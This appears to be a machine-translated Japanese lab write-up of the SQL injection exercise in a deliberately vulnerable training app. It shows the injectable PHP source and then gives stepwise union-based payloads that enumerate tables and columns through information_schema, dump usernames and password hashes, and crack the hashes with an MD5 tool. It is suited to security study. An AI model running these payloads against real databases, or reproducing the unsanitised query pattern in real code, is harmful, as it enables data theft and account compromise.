SQLインジェクション
インターフェース
ソースコード
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {
$id}<br />First name: {
$first}<br />Surname: {
$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
コード分析
ユーザーが[送信]をクリックすると、ユーザーはユーザーが入力したIDを取得し、対応するfirst_nameとlast_nameを出力します。ユーザーが入力したIDは法的に判断されていないため、SQLインジェクションが発生しやすいことがわかります。
浸透ステップ
ステップ1:1を入力して結果を表示します
ステップ2:結果を入力1‘ or ‘1’=’1
して表示しますデータベースにすべてのIDデータがあることがわかるので、実際にSQLの脆弱性があることがわかります
ステップ3:フィールドを推測しますorder byによる現在のライブラリの入力1' or 1=1 order by 1 #
、入力結果は正常です
ステップ4:order byによる現在のデータベースのフィールドを推測します、input 1' or 1=1 order by 2 #
、入力結果は正常です
ステップ5:入力1' or 1=1 order by 3 #
、入力結果は異常です、現在のデータベース名と姓の2つのフィールドしかありません
ステップ6:入力すると1' union select 1,2
、データの2番目の列に1、2があることがわかります。1、2の値を変更して、必要なデータを取得できます。
ステップ7:前の推測をテストし、Enter1' union select database(),version()#
キーを押して現在のデータベース名とデータベースバージョンを取得します。結果を確認して、unionselectを使用して目的のデータを取得できることを確認します。
ステップ8:1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#
データベースにテーブルの名前を入力します。
ステップ9:取得した16進コードをデコードして、実際のテーブル名(guestbook、users)を取得します。テーブルは2つだけです。
ステップ10:1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users' #
usersテーブルにフィールド名を入力して表示します
。 11のステップ:1' union select first_name,password from users#
ユーザー名とパスワードを入力して照会する
ステップ12:md5復号化ツールを使用して、取得したパスワードを復号化すると、結果が正しいことがわかります。
発生した問題
1. 8番目と10番目のステップで16進関数が使用されるのはなぜですか?
解決策:16進関数が使用されない場合、エラーが報告されます。これはエンコードに起因する問題が原因です。
エラー画像:
2。データベースがmd5暗号化
方式を使用していること:推測、頑張ってください